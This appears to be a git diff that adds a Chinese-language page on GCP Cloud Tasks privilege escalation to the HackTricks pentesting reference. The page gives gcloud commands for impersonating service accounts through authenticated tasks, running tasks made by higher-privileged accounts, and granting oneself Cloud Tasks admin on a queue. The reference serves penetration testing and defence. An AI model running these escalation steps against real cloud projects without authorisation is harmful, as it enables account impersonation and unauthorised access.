Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/SUMMARY.md

@@ -107,6 +107,7 @@
     - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
     - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
     - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
+    - [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
     - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
       - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
     - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md

@@ -0,0 +1,45 @@
+# GCP - Cloud Tasks Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Tasks
+
+### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
+
+拥有这些权限的攻击者可以**冒充其他服务账户**，通过创建以指定服务账户身份执行的任务。这允许向**受IAM保护的Cloud Run或Cloud Functions**服务发送**经过身份验证的HTTP请求**。
+```bash
+gcloud tasks create-http-task \
+task-$(date '+%Y%m%d%H%M%S') \
+--location us-central1 \
+--queue <queue_name> \
+--url 'https://<service_name>.us-central1.run.app' \
+--method POST \
+--header 'X-Hello: world' \
+--body-content '{"hello":"world"}' \
+--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
+```
+### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
+
+拥有这些权限的攻击者可以**运行现有的计划任务**，而无需对与任务关联的服务账户拥有权限。这允许执行之前由更高权限的服务账户创建的任务。
+```bash
+gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
+```
+执行此命令的主体**不需要 `iam.serviceAccounts.actAs` 权限**在任务的服务账户上。然而，这仅允许运行现有任务 - 它不授予创建或修改任务的能力。
+
+### `cloudtasks.queues.setIamPolicy`
+
+拥有此权限的攻击者可以**授予自己或其他主体 Cloud Tasks 角色**在特定队列上，可能会升级到 `roles/cloudtasks.admin`，这包括创建和运行任务的能力。
+```bash
+gcloud tasks queues add-iam-policy-binding \
+<queue_name> \
+--location us-central1 \
+--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
+--role roles/cloudtasks.admin
+```
+这允许攻击者将完全的 Cloud Tasks 管理权限授予他们控制的任何服务账户。
+
+## 参考
+
+- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
+
+{{#include ../../../banners/hacktricks-training.md}}